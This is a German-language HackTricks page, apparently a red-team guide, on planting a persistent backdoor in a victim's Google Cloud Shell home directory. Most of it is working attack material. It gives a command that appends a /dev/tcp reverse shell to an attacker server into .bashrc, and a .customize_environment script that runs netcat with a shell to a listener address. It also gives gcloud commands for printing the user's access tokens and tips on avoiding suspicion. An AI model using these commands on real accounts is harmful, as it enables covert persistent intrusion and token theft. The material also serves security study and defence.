GCP - Cloud Shell Persistenz
Reading time: 5 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Cloud Shell
Für weitere Informationen siehe:
Persistente Hintertür
Google Cloud Shell bietet Ihnen direkten Zugriff auf Ihre Cloud-Ressourcen über die Befehlszeile direkt aus Ihrem Browser, ohne damit verbundene Kosten.
Sie können auf die Google Cloud Shell über die Web-Konsole oder durch Ausführen von gcloud cloud-shell ssh
zugreifen.
Diese Konsole hat einige interessante Fähigkeiten für Angreifer:
- Jeder Google-Nutzer mit Zugriff auf Google Cloud hat Zugriff auf eine vollständig authentifizierte Cloud Shell-Instanz (Dienstkonten können dies, selbst wenn sie Eigentümer der Organisation sind).
- Diese Instanz wird ihr Home-Verzeichnis für mindestens 120 Tage beibehalten, wenn keine Aktivität stattfindet.
- Es gibt keine Möglichkeiten für eine Organisation, die Aktivität dieser Instanz zu überwachen.
Das bedeutet im Grunde, dass ein Angreifer eine Hintertür im Home-Verzeichnis des Benutzers platzieren kann, und solange der Benutzer alle 120 Tage mindestens eine Verbindung zur GC Shell herstellt, wird die Hintertür überleben und der Angreifer erhält jedes Mal eine Shell, wenn sie ausgeführt wird, indem er einfach:
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
Es gibt eine weitere Datei im Home-Verzeichnis namens .customize_environment
, die, falls sie existiert, jedes Mal ausgeführt wird, wenn der Benutzer auf die cloud shell zugreift (wie in der vorherigen Technik). Fügen Sie einfach die vorherige Hintertür oder eine wie die folgende ein, um die Persistenz aufrechtzuerhalten, solange der Benutzer die cloud shell "häufig" verwendet:
#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash
warning
Es ist wichtig zu beachten, dass beim ersten Mal, wenn eine Aktion, die eine Authentifizierung erfordert, ausgeführt wird, ein Pop-up-Autorisierungsfenster im Browser des Benutzers erscheint. Dieses Fenster muss akzeptiert werden, bevor der Befehl ausgeführt werden kann. Wenn ein unerwartetes Pop-up erscheint, könnte dies Verdacht erregen und potenziell die verwendete Persistenzmethode gefährden.
Dies ist das Pop-up von der Ausführung von gcloud projects list
aus der Cloud-Shell (als Angreifer) im Benutzer-Sitzung des Browsers gesehen:
.png)
Wenn der Benutzer jedoch die Cloud-Shell aktiv genutzt hat, wird das Pop-up nicht erscheinen und Sie können Tokens des Benutzers mit:
gcloud auth print-access-token
gcloud auth application-default print-access-token
Wie die SSH-Verbindung hergestellt wird
Grundsätzlich werden diese 3 API-Aufrufe verwendet:
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey [POST] (wird Sie auffordern, Ihren lokal erstellten öffentlichen Schlüssel hinzuzufügen)
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start [POST] (wird Sie auffordern, die Instanz zu starten)
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default [GET] (wird Ihnen die IP des Google Cloud Shell mitteilen)
Weitere Informationen finden Sie unter https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key
Referenzen
- https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec
- https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key
- https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.